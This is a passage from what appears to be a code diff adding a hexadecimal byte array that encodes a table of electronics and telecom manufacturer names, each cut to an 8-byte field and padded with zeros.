0x65, 0x63, +0x4e, 0x61, 0x76, 0x69, 0x67, 0x6f, 0x6e, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x41, +0x4a, 0x68, 0x74, 0x4f, 0x70, 0x74, 0x6f, 0x65, +0x49, 0x73, 0x61, 0x61, 0x63, 0x6c, 0x61, 0x6e, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x47, 0x72, 0x69, +0x4d, 0x6f, 0x64, 0x6e, 0x6e, 0x65, 0x74, 0x00, +0x45, 0x71, 0x75, 0x61, 0x6c, 0x69, 0x6e, 0x65, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x77, 0x61, 0x76, +0x53, 0x77, 0x79, 0x78, 0x53, 0x6f, 0x6c, 0x75, +0x4c, 0x6f, 0x6f, 0x6b, 0x78, 0x44, 0x69, 0x67, +0x4d, 0x69, 0x64, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x41, 0x6e, 0x75, 0x65, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x74, 0x72, 0x61, 0x6b, +0x49, 0x72, 0x69, 0x55, 0x62, 0x69, 0x74, 0x65, +0x54, 0x65, 0x6c, 0x75, 0x6c, 0x61, 0x72, 0x00, +0x53, 0x69, 0x63, 0x65, 0x70, 0x53, 0x50, 0x41, +0x44, 0x74, 0x6c, 0x42, 0x72, 0x6f, 0x61, 0x64, +0x4d, 0x69, 0x72, 0x61, 0x6c, 0x69, 0x6e, 0x6b, +0x48, 0x79, 0x70, 0x65, 0x72, 0x6d, 0x65, 0x64, +0x52, 0x69, 0x70, 0x63, 0x6f, 0x64, 0x65, 0x00, +0x46, 0x61, 0x69, 0x76, 0x65, 0x6c, 0x65, 0x79, +0x54, 0x69, 0x6e, 0x74, 0x6f, 0x6d, 0x65, 0x74, +0x41, 0x52, 0x43, 0x61, 0x6d, 0x62, 0x72, 0x69, +0x43, 0x78, 0x72, 0x41, 0x6e, 0x64, 0x65, 0x72, +0x42, 0x65, 0x63, 0x6b, 0x6d, 0x61, 0x6e, 0x6e, +0x54, 0x6d, 0x6e, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x6f, 0x72, 0x64, 0x00, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x71, 0x49, 0x6e, 0x73, +0x46, 0x69, 0x6e, 0x73, 0x6f, 0x66, 0x74, 0x00, +0x53, 0x63, 0x61, 0x6e, 0x45, 0x6e, 0x67, 0x69, +0x4d, 0x61, 0x6e, 0x44, 0x69, 0x65, 0x73, 0x65, +0x44, 0x65, 0x65, 0x70, 0x73, 0x6f, 0x75, 0x6e, +0x44, 0x69, 0x76, 0x69, 0x6e, 0x65, 0x74, 0x41, +0x45, 0x6d, 0x7a, 0x61, 0x56, 0x69, 0x73, 0x75, +0x32, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x4a, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x54, +0x48, 0x75, 0x6c, 0x75, 0x53, 0x77, 0x65, 0x64, +0x45, 0x66, 0x6b, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x4c, 0x2d, 0x41, 0x63, 0x6f, 0x75, 0x73, 0x74, +0x4a, 0x63, 0x44, 0x65, 0x63, 0x61, 0x75, 0x78, +0x54, 0x45, 0x4d, 0x41, 0x53, 0x50, 0x41, 0x00, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x53, 0x72, 0x6c, +0x56, 0x69, 0x6f, 0x6c, 0x69, 0x6e, 0x54, 0x65, +0x4b, 0x73, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x41, 0x70, 0x6f, 0x6c, 0x6c, 0x6f, 0x46, 0x69, +0x48, 0x6f, 0x73, 0x65, 0x2d, 0x4d, 0x63, 0x63, +0x53, 0x61, 0x74, 0x65, 0x6c, 0x53, 0x70, 0x5a, +0x4e, 0x6f, 0x76, 0x75, 0x73, 0x53, 0x65, 0x63, +0x43, 0x61, 0x6c, 0x79, 0x70, 0x74, 0x65, 0x63, +0x41, 0x77, 0x6f, 0x78, 0x00, 0x00, 0x00, 0x00, +0x6d, 0x69, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x64, 0x73, 0x49, 0x6d, 0x61, 0x67, 0x69, +0x46, 0x6c, 0x65, 0x78, 0x69, 0x74, 0x47, 0x72, +0x53, 0x41, 0x45, 0x41, 0x66, 0x69, 0x6b, 0x69, +0x4d, 0x79, 0x75, 0x6e, 0x67, 0x6d, 0x69, 0x6e, +0x49, 0x6e, 0x74, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x4c, 0x6f, 0x72, 0x69, 0x63, 0x61, 0x53, 0x6f, +0x55, 0x62, 0x69, 0x26, 0x4d, 0x6f, 0x62, 0x69, +0x42, 0x72, 0x6f, 0x74, 0x68, 0x65, 0x72, 0x49, +0x58, 0x65, 0x6e, 0x69, 0x63, 0x73, 0x4e, 0x76, +0x54, 0x65, 0x6c, 0x63, 0x68, 0x65, 0x6d, 0x79, +0x43, 0x75, 0x72, 0x74, 0x69, 0x73, 0x73, 0x57, +0x49, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, +0x42, 0x68, 0x61, 0x72, 0x61, 0x74, 0x45, 0x6c, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x65, 0x63, +0x43, 0x6f, 0x6e, 0x64, 0x61, 0x6c, 0x6f, 0x00, +0x41, 0x69, 0x72, 0x76, 0x6f, 0x64, 0x00, 0x00, +0x43, 0x68, 0x65, 0x72, 0x72, 0x79, 0x00, 0x00, +0x42, 0x69, 0x72, 0x64, 0x45, 0x6c, 0x65, 0x63, +0x41, 0x6c, 0x74, 0x61, 0x48, 0x65, 0x69, 0x67, +0x42, 0x6c, 0x75, 0x65, 0x77, 0x61, 0x79, 0x45, +0x52, 0x66, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x53, 0x69, 0x6c, 0x76, 0x65, 0x72, 0x50, 0x65, +0x46, 0x6d, 0x63, 0x4b, 0x6f, 0x6e, 0x67, 0x73, +0x49, 0x63, 0x6f, 0x70, 0x44, 0x69, 0x67, 0x69, +0x48, 0x6f, 0x6c, 0x75, 0x78, 0x54, 0x65, 0x63, +0x4d, 0x6f, 0x62, 0x69, 0x73, 0x6f, 0x6c, 0x75, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63, +0x49, 0x65, 0x65, 0x65, 0x52, 0x65, 0x67, 0x69, +0x53, 0x74, 0x72, 0x61, 0x74, 0x6f, 0x52, 0x65, +0x53, 0x74, 0x61, 0x72, 0x76, 0x65, 0x64, 0x69, +0x4d, 0x69, 0x75, 0x72, 0x61, 0x00, 0x00, 0x00, +0x46, 0x73, 0x6e, 0x44, 0x69, 0x73, 0x70, 0x6c, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x52, +0x50, 0x65, 0x6d, 0x70, 0x65, 0x6b, 0x50, 0x74, +0x4b, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6b, 0x43, +0x44, 0x61, 0x76, 0x69, 0x73, 0x63, 0x6f, 0x6d, +0x44, 0x61, 0x74, 0x61, 0x75, 0x70, 0x69, 0x61, +0x49, 0x64, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x53, +0x53, 0x6f, 0x67, 0x65, 0x73, 0x74, 0x6d, 0x61, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x2d, 0x58, 0x41, +0x4b, 0x65, 0x6c, 0x76, 0x69, 0x6e, 0x48, 0x75, +0x46, 0x6c, 0x69, 0x72, 0x00, 0x00, 0x00, 0x00, +0x45, 0x64, 0x67, 0x65, 0x77, 0x61, 0x74, 0x65, +0x56, 0x61, 0x6c, 0x65, 0x6f, 0x56, 0x65, 0x63, +0x56, 0x65, 0x6e, 0x63, 0x65, 0x72, 0x00, 0x00, +0x52, 0x65, 0x6e, 0x6b, 0x75, 0x73, 0x2d, 0x48, +0x49, 0x73, 0x6b, 0x72, 0x61, 0x53, 0x69, 0x73, +0x54, 0x65, 0x6c, 0x65, 0x6e, 0x6f, 0x74, 0x45, +0x56, 0x69, 0x61, 0x6c, 0x6f, 0x67, 0x79, 0x00, +0x41, 0x68, 0x6e, 0x6c, 0x61, 0x62, 0x00, 0x00, +0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x48, 0x65, +0x54, 0x6f, 0x77, 0x6e, 0x65, 0x74, 0x53, 0x72, +0x38, 0x30, 0x32, 0x61, 0x75, 0x74, 0x6f, 0x6d, +0x56, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x73, 0x74, 0x65, 0x6b, 0x45, 0x6c, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x74, 0x72, 0x6f, +0x44, 0x6d, 0x70, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x4e, 0x65, 0x74, 0x69, 0x6f, 0x54, 0x65, 0x63, +0x42, 0x6c, 0x6f, 0x73, 0x73, 0x6f, 0x6d, 0x73, +0x56, 0x61, 0x6c, 0x75, 0x65, 0x50, 0x6c, 0x61, +0x4b, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x43, 0x6f, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x72, 0x61, 0x64, +0x4b, 0x65, 0x6e, 0x77, 0x69, 0x6e, 0x49, 0x6e, +0x54, 0x65, 0x6c, 0x6c, 0x69, 0x6e, 0x6b, 0x53, +0x43, 0x6f, 0x6e, 0x77, 0x69, 0x73, 0x65, 0x54, +0x4c, 0x75, 0x6e, 0x64, 0x49, 0x70, 0x50, 0x72, +0x44, 0x69, 0x67, 0x69, 0x74, 0x72, 0x61, 0x78, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x6c, 0x69, 0x74, +0x47, 0x49, 0x4e, 0x4d, 0x62, 0x68, 0x00, 0x00, +0x44, 0x69, 0x67, 0x6e, 0x73, 0x79, 0x73, 0x00, +0x5a, 0x61, 0x76, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x74, 0x72, 0x79, 0x50, 0x6f, 0x69, +0x41, 0x62, 0x62, 0x4f, 0x79, 0x44, 0x72, 0x69, +0x50, 0x61, 0x6e, 0x6f, 0x4c, 0x6f, 0x67, 0x69, +0x42, 0x65, 0x74, 0x74, 0x79, 0x54, 0x76, 0x54, +0x41, 0x69, 0x72, 0x67, 0x61, 0x69, 0x6e, 0x00, +0x4e, 0x6f, 0x6e, 0x69, 0x6e, 0x4d, 0x65, 0x64, +0x43, 0x77, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x00, +0x45, 0x63, 0x68, 0x6f, 0x33, 0x36, 0x30, 0x00, +0x53, 0x61, 0x65, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x61, 0x6e, 0x74, +0x54, 0x61, 0x6e, 0x69, 0x74, 0x61, 0x00, 0x00, +0x47, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x4f, 0x70, 0x74, 0x73, 0x79, 0x73, 0x54, 0x65, +0x49, 0x70, 0x68, 0x6f, 0x74, 0x6f, 0x6e, 0x69, +0x54, 0x68, 0x79, 0x73, 0x73, 0x65, 0x6e, 0x6b, +0x53, 0x69, 0x63, 0x65, 0x72, 0x74, 0x53, 0x52, +0x53, 0x65, 0x63, 0x75, 0x6e, 0x65, 0x74, 0x53, +0x54, 0x68, 0x6f, 0x6d, 0x61, 0x73, 0x49, 0x6e, +0x48, 0x79, 0x70, 0x65, 0x72, 0x73, 0x74, 0x6f, +0x43, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x43, 0x6f, +0x43, 0x68, 0x65, 0x6e, 0x7a, 0x68, 0x6f, 0x75, +0x45, 0x6d, 0x74, 0x72, 0x69, 0x6f, 0x6e, 0x00, +0x51, 0x75, 0x65, 0x73, 0x74, 0x52, 0x65, 0x74, +0x43, 0x6c, 0x62, 0x42, 0x65, 0x6e, 0x65, 0x6c, +0x4e, 0x75, 0x63, 0x73, 0x61, 0x66, 0x65, 0x00, +0x41, 0x65, 0x72, 0x69, 0x73, 0x45, 0x6c, 0x65, +0x46, 0x6f, 0x72, 0x6d, 0x6f, 0x73, 0x61, 0x57, +0x53, 0x75, 0x6e, 0x65, 0x6c, 0x6c, 0x45, 0x6c, +0x53, 0x70, 0x68, 0x61, 0x69, 0x72, 0x6f, 0x6e, +0x43, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x67, 0x69, +0x45, 0x6e, 0x76, 0x69, 0x73, 0x61, 0x63, 0x6f, +0x41, 0x6c, 0x65, 0x72, 0x74, 0x6d, 0x65, 0x43, +0x53, 0x79, 0x6e, 0x61, 0x70, 0x73, 0x65, 0x00, +0x46, 0x6c, 0x65, 0x78, 0x72, 0x61, 0x64, 0x69, +0x48, 0x70, 0x6e, 0x53, 0x75, 0x70, 0x70, 0x6c, +0x50, 0x66, 0x69, 0x73, 0x74, 0x65, 0x72, 0x00, +0x4d, 0x6f, 0x64, 0x65, 0x4c, 0x69, 0x67, 0x68, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x58, 0x70, +0x54, 0x65, 0x6c, 0x69, 0x61, 0x6e, 0x00, 0x00, +0x53, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x48, 0x75, 0x65, 0x79, 0x43, 0x68, 0x69, 0x61, +0x49, 0x6e, 0x65, 0x77, 0x69, 0x74, 0x4e, 0x76, +0x43, 0x61, 0x6c, 0x6c, 0x70, 0x6f, 0x64, 0x00, +0x42, 0x69, 0x6f, 0x2d, 0x52, 0x61, 0x64, 0x4c, +0x53, 0x4e, 0x65, 0x74, 0x73, 0x79, 0x73, 0x74, +0x45, 0x6c, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4c, +0x41, 0x6d, 0x72, 0x6f, 0x61, 0x64, 0x54, 0x65, +0x53, 0x65, 0x6f, 0x6e, 0x44, 0x65, 0x73, 0x69, +0x57, 0x61, 0x76, 0x65, 0x73, 0x74, 0x6f, 0x72, +0x45, 0x63, 0x6b, 0x65, 0x79, 0x00, 0x00, 0x00, +0x56, 0x64, 0x67, 0x2d, 0x53, 0x65, 0x63, 0x75, +0x53, 0x63, 0x65, 0x6d, 0x74, 0x65, 0x63, 0x54, +0x50, 0x61, 0x72, 0x61, 0x6c, 0x6c, 0x65, 0x6c, +0x43, 0x68, 0x65, 0x6e, 0x62, 0x72, 0x6f, 0x4d, +0x51, 0x74, 0x75, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x64, 0x65, 0x66, 0x69, 0x00, 0x00, +0x5a, 0x6f, 0x6c, 0x74, 0x61, 0x6e, 0x54, 0x65, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x38, 0x00, 0x00, +0x50, 0x65, 0x74, 0x72, 0x6f, 0x74, 0x65, 0x73, +0x41, 0x70, 0x6c, 0x69, 0x78, 0x49, 0x70, 0x48, +0x54, 0x61, 0x73, 0x61, 0x49, 0x6e, 0x74, 0x65, +0x4d, 0x61, 0x63, 0x61, 0x62, 0x00, 0x00, 0x00, +0x54, 0x63, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x65, 0x6c, 0x65, 0x6e, 0x6f, 0x43, 0x6f, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x65, 0x65, +0x53, 0x79, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x4c, +0x48, 0x69, 0x6c, 0x6c, 0x73, 0x74, 0x6f, 0x6e, +0x50, 0x61, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x44, 0x65, 0x76, 0x6f, 0x6e, 0x49, 0x74, 0x00, +0x43, 0x68, 0x75, 0x62, 0x62, 0x45, 0x6c, 0x65, +0x4c, 0x65, 0x69, 0x63, 0x61, 0x4d, 0x69, 0x63, +0x41, 0x73, 0x74, 0x6f, 0x6e, 0x46, 0x72, 0x61, +0x57, 0x69, 0x6e, 0x6c, 0x61, 0x6e, 0x64, 0x45, +0x43, 0x73, 0x70, 0x46, 0x72, 0x6f, 0x6e, 0x74, +0x47, 0x61, 0x6c, 0x61, 0x78, 0x79, 0x4d, 0x69, +0x4c, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x54, 0x72, 0x75, 0x65, 0x6e, 0x00, 0x00, 0x00, +0x4a, 0x6f, 0x65, 0x73, 0x63, 0x61, 0x6e, 0x00, +0x55, 0x63, 0x61, 0x6d, 0x70, 0x00, 0x00, 0x00, +0x50, 0x75, 0x6d, 0x70, 0x6b, 0x69, 0x6e, 0x4e, +0x41, 0x6e, 0x68, 0x75, 0x69, 0x53, 0x75, 0x6e, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x56, 0x69, +0x57, 0x65, 0x69, 0x73, 0x73, 0x45, 0x6e, 0x67, +0x43, 0x6f, 0x76, 0x61, 0x78, 0x00, 0x00, 0x00, +0x33, 0x30, 0x38, 0x30, 0x35, 0x00, 0x00, 0x00, +0x4b, 0x79, 0x6f, 0x68, 0x72, 0x69, 0x74, 0x73, +0x4e, 0x65, 0x77, 0x62, 0x75, 0x72, 0x79, 0x4e, +0x45, 0x6d, 0x66, 0x69, 0x74, 0x00, 0x00, 0x00, +0x4e, 0x6f, 0x76, 0x61, 0x63, 0x6f, 0x6d, 0x6d, +0x45, 0x6d, 0x65, 0x72, 0x67, 0x65, 0x6e, 0x74, +0x4d, 0x61, 0x79, 0x65, 0x72, 0x43, 0x69, 0x65, +0x41, 0x72, 0x69, 0x73, 0x74, 0x61, 0x4e, 0x65, +0x53, 0x79, 0x73, 0x77, 0x61, 0x6e, 0x54, 0x65, +0x53, 0x65, 0x67, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x57, 0x61, 0x6e, 0x64, 0x73, 0x77, 0x6f, 0x72, +0x50, 0x72, 0x6f, 0x64, 0x79, 0x73, 0x00, 0x00, +0x57, 0x79, 0x70, 0x6c, 0x61, 0x79, 0x53, 0x61, +0x43, 0x6f, 0x68, 0x65, 0x73, 0x69, 0x76, 0x65, +0x50, 0x65, 0x72, 0x66, 0x65, 0x63, 0x74, 0x6f, +0x43, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x6e, 0x65, +0x50, 0x65, 0x72, 0x71, 0x00, 0x00, 0x00, 0x00, +0x45, 0x78, 0x63, 0x65, 0x6c, 0x70, 0x6f, 0x69, +0x4e, 0x65, 0x77, 0x42, 0x75, 0x73, 0x69, 0x6e, +0x4e, 0x65, 0x78, 0x74, 0x67, 0x65, 0x6e, 0x56, +0x47, 0x65, 0x6e, 0x65, 0x77, 0x54, 0x65, 0x63, +0x4e, 0x65, 0x77, 0x4c, 0x65, 0x76, 0x65, 0x6c, +0x53, 0x74, 0x6c, 0x53, 0x6f, 0x6c, 0x75, 0x74, +0x45, 0x75, 0x6e, 0x69, 0x63, 0x6f, 0x72, 0x6e, +0x43, 0x72, 0x61, 0x6e, 0x69, 0x74, 0x65, 0x00, +0x55, 0x72, 0x69, 0x76, 0x65, 0x72, 0x00, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x79, 0x73, 0x74, +0x46, 0x6f, 0x72, 0x63, 0x65, 0x43, 0x6f, 0x6d, +0x43, 0x69, 0x72, 0x72, 0x61, 0x73, 0x63, 0x61, +0x4d, 0x6a, 0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, +0x44, 0x69, 0x61, 0x6c, 0x54, 0x65, 0x63, 0x68, +0x4d, 0x65, 0x73, 0x61, 0x49, 0x6d, 0x61, 0x67, +0x45, 0x6d, 0x70, 0x61, 0x63, 0x6b, 0x65, 0x74, +0x47, 0x65, 0x66, 0x65, 0x6e, 0x00, 0x00, 0x00, +0x54, 0x65, 0x72, 0x76, 0x65, 0x6c, 0x61, 0x00, +0x45, 0x78, 0x61, 0x64, 0x69, 0x67, 0x6d, 0x00, +0x4c, 0x69, 0x2d, 0x43, 0x6f, 0x72, 0x42, 0x69, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x6f, 0x6d, 0x6d, +0x4c, 0x69, 0x6e, 0x6b, 0x77, 0x69, 0x73, 0x65, +0x45, 0x6e, 0x7a, 0x79, 0x74, 0x65, 0x6b, 0x54, +0x4c, 0x75, 0x63, 0x6b, 0x79, 0x54, 0x65, 0x63, +0x53, 0x68, 0x75, 0x6e, 0x72, 0x61, 0x53, 0x6f, +0x46, 0x65, 0x69, 0x67, 0x45, 0x6c, 0x65, 0x63, +0x4c, 0x69, 0x65, 0x63, 0x74, 0x68, 0x69, 0x00, +0x44, 0x75, 0x61, 0x6c, 0x74, 0x65, 0x63, 0x68, +0x52, 0x61, 0x7a, 0x6f, 0x72, 0x73, 0x74, 0x72, +0x41, 0x6b, 0x61, 0x6d, 0x61, 0x69, 0x54, 0x65, +0x54, 0x65, 0x72, 0x72, 0x61, 0x00, 0x00, 0x00, +0x5a, 0x79, 0x67, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x6e, 0x34, 0x6e, 0x65, 0x74, 0x00, +0x41, 0x69, 0x72, 0x74, 0x69, 0x65, 0x73, 0x57, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x6d, 0x61, 0x74, +0x42, 0x65, 0x6c, 0x6c, 0x6f, 0x6e, 0x50, 0x74, +0x4d, 0x65, 0x79, 0x65, 0x72, 0x53, 0x6f, 0x75, +0x51, 0x6e, 0x69, 0x71, 0x54, 0x65, 0x63, 0x68, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x54, 0x65, 0x6c, +0x57, 0x69, 0x63, 0x68, 0x6f, 0x72, 0x75, 0x73, +0x50, 0x6c, 0x61, 0x74, 0x6f, 0x4e, 0x65, 0x74, +0x42, 0x70, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x72, 0x69, 0x64, 0x69, 0x75, 0x6d, 0x53, +0x4e, 0x65, 0x69, 0x68, 0x75, 0x61, 0x4e, 0x65, +0x44, 0x75, 0x7a, 0x6f, 0x6e, 0x43, 0x6e, 0x74, +0x55, 0x73, 0x63, 0x44, 0x69, 0x67, 0x69, 0x61, +0x43, 0x62, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x77, 0x61, 0x6e, 0x67, 0x53, 0x75, 0x6e, +0x56, 0x65, 0x72, 0x73, 0x63, 0x69, 0x65, 0x6e, +0x4d, 0x75, 0x73, 0x69, 0x63, 0x69, 0x61, 0x6e, +0x43, 0x61, 0x73, 0x74, 0x67, 0x72, 0x61, 0x62, +0x45, 0x7a, 0x7a, 0x65, 0x4d, 0x6f, 0x62, 0x69, +0x50, 0x61, 0x72, 0x74, 0x49, 0x69, 0x52, 0x65, +0x50, 0x72, 0x6f, 0x73, 0x74, 0x6f, 0x72, 0x00, +0x52, 0x65, 0x6d, 0x62, 0x72, 0x61, 0x6e, 0x64, +0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, 0x72, 0x6f, +0x4b, 0x61, 0x69, 0x73, 0x65, 0x45, 0x6c, 0x65, +0x46, 0x6f, 0x72, 0x74, 0x68, 0x50, 0x75, 0x62, +0x41, 0x6c, 0x65, 0x6b, 0x74, 0x72, 0x6f, 0x6e, +0x42, 0x79, 0x54, 0x65, 0x63, 0x68, 0x64, 0x65, +0x4c, 0x69, 0x6d, 0x65, 0x74, 0x65, 0x6b, 0x00, +0x43, 0x69, 0x72, 0x63, 0x6c, 0x65, 0x6f, 0x6e, +0x57, 0x61, 0x76, 0x65, 0x73, 0x41, 0x75, 0x64, +0x4b, 0x69, 0x6e, 0x67, 0x43, 0x68, 0x61, 0x6d, +0x5a, 0x70, 0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65, +0x5a, 0x65, 0x65, 0x76, 0x65, 0x65, 0x00, 0x00, +0x48, 0x61, 0x72, 0x6d, 0x61, 0x6e, 0x2f, 0x42, +0x42, 0x6c, 0x75, 0x65, 0x61, 0x6e, 0x74, 0x57, +0x45, 0x78, 0x65, 0x67, 0x69, 0x6e, 0x54, 0x65, +0x43, 0x61, 0x72, 0x70, 0x6f, 0x69, 0x6e, 0x74, +0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x6f, +0x43, 0x6f, 0x77, 0x62, 0x65, 0x6c, 0x6c, 0x45, +0x44, 0x61, 0x73, 0x61, 0x6e, 0x54, 0x70, 0x73, +0x49, 0x6e, 0x64, 0x72, 0x61, 0x53, 0x69, 0x73, +0x41, 0x74, 0x74, 0x65, 0x72, 0x6f, 0x54, 0x65, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x64, 0x69, +0x45, 0x6c, 0x65, 0x73, 0x79, 0x4a, 0x73, 0x63, +0x4d, 0x62, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x49, 0x6e, 0x6e, 0x65, 0x73, 0x00, 0x00, 0x00, +0x52, 0x6f, 0x63, 0x6f, 0x6e, 0x52, 0x65, 0x73, +0x43, 0x75, 0x6d, 0x6d, 0x69, 0x6e, 0x73, 0x00, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x73, 0x6f, +0x45, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6e, +0x53, 0x75, 0x70, 0x6f, 0x78, 0x54, 0x65, 0x63, +0x54, 0x65, 0x6e, 0x6c, 0x6f, 0x6e, 0x54, 0x65, +0x45, 0x76, 0x73, 0x42, 0x72, 0x6f, 0x61, 0x64, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x54, 0x65, 0x63, +0x57, 0x69, 0x73, 0x65, 0x62, 0x6c, 0x75, 0x65, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x73, 0x63, 0x69, +0x50, 0x61, 0x72, 0x61, 0x64, 0x65, 0x54, 0x65, +0x41, 0x6c, 0x61, 0x72, 0x6d, 0x43, 0x6f, 0x6d, +0x51, 0x75, 0x61, 0x72, 0x74, 0x69, 0x63, 0x73, +0x4e, 0x61, 0x70, 0x65, 0x72, 0x61, 0x4e, 0x65, +0x42, 0x72, 0x69, 0x76, 0x6f, 0x4c, 0x6c, 0x63, +0x4e, 0x65, 0x70, 0x74, 0x75, 0x6e, 0x65, 0x44, +0x43, 0x79, 0x62, 0x65, 0x72, 0x74, 0x65, 0x63, +0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x6f, +0x5a, 0x69, 0x70, 0x69, 0x74, 0x57, 0x69, 0x72, +0x48, 0x6d, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x44, 0x61, 0x76, 0x69, 0x73, 0x49, 0x6e, 0x73, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x53, 0x74, 0x61, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x63, 0x6f, +0x41, 0x67, 0x61, 0x70, 0x68, 0x61, 0x54, 0x65, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x68, 0x61, 0x75, +0x41, 0x6e, 0x61, 0x6c, 0x6f, 0x67, 0x75, 0x65, +0x52, 0x6f, 0x68, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x67, 0x74, 0x76, 0x00, +0x53, 0x70, 0x65, 0x72, 0x61, 0x64, 0x74, 0x6f, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x53, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x49, 0x6e, 0x6e, +0x4f, 0x76, 0x69, 0x73, 0x6c, 0x69, 0x6e, 0x6b, +0x53, 0x61, 0x6e, 0x67, 0x65, 0x61, 0x6e, 0x45, +0x47, 0x65, 0x6e, 0x6e, 0x65, 0x74, 0x53, 0x41, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x2d, 0x4d, 0x00, +0x4b, 0x79, 0x75, 0x73, 0x68, 0x75, 0x54, 0x65, +0x53, 0x69, 0x61, 0x75, 0x6c, 0x69, 0x75, 0x54, +0x43, 0x6f, 0x6d, 0x74, 0x72, 0x65, 0x6e, 0x64, +0x41, 0x6c, 0x63, 0x61, 0x64, 0x53, 0x6c, 0x00, +0x46, 0x6f, 0x73, 0x73, 0x41, 0x6e, 0x61, 0x6c, +0x53, 0x65, 0x6e, 0x73, 0x75, 0x73, 0x00, 0x00, +0x41, 0x63, 0x6c, 0x61, 0x72, 0x61, 0x50, 0x6f, +0x52, 0x6f, 0x63, 0x6b, 0x72, 0x69, 0x64, 0x67, +0x4e, 0x61, 0x63, 0x2d, 0x49, 0x6e, 0x74, 0x65, +0x44, 0x6f, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x50, 0x6f, 0x6e, +0x57, 0x61, 0x76, 0x65, 0x74, 0x72, 0x65, 0x6e, +0x50, 0x79, 0x6c, 0x6f, 0x6e, 0x65, 0x00, 0x00, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x75, 0x6d, 0x76, +0x59, 0x78, 0x57, 0x69, 0x72, 0x65, 0x6c, 0x65, +0x48, 0x69, 0x67, 0x68, 0x70, 0x72, 0x6f, 0x49, +0x4c, 0x6f, 0x6e, 0x67, 0x6b, 0x61, 0x79, 0x43, +0x4d, 0x61, 0x76, 0x65, 0x72, 0x69, 0x63, 0x6b, +0x53, 0x79, 0x72, 0x69, 0x73, 0x54, 0x65, 0x63, +0x56, 0x69, 0x63, 0x6f, 0x6e, 0x69, 0x63, 0x73, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x2d, 0x50, 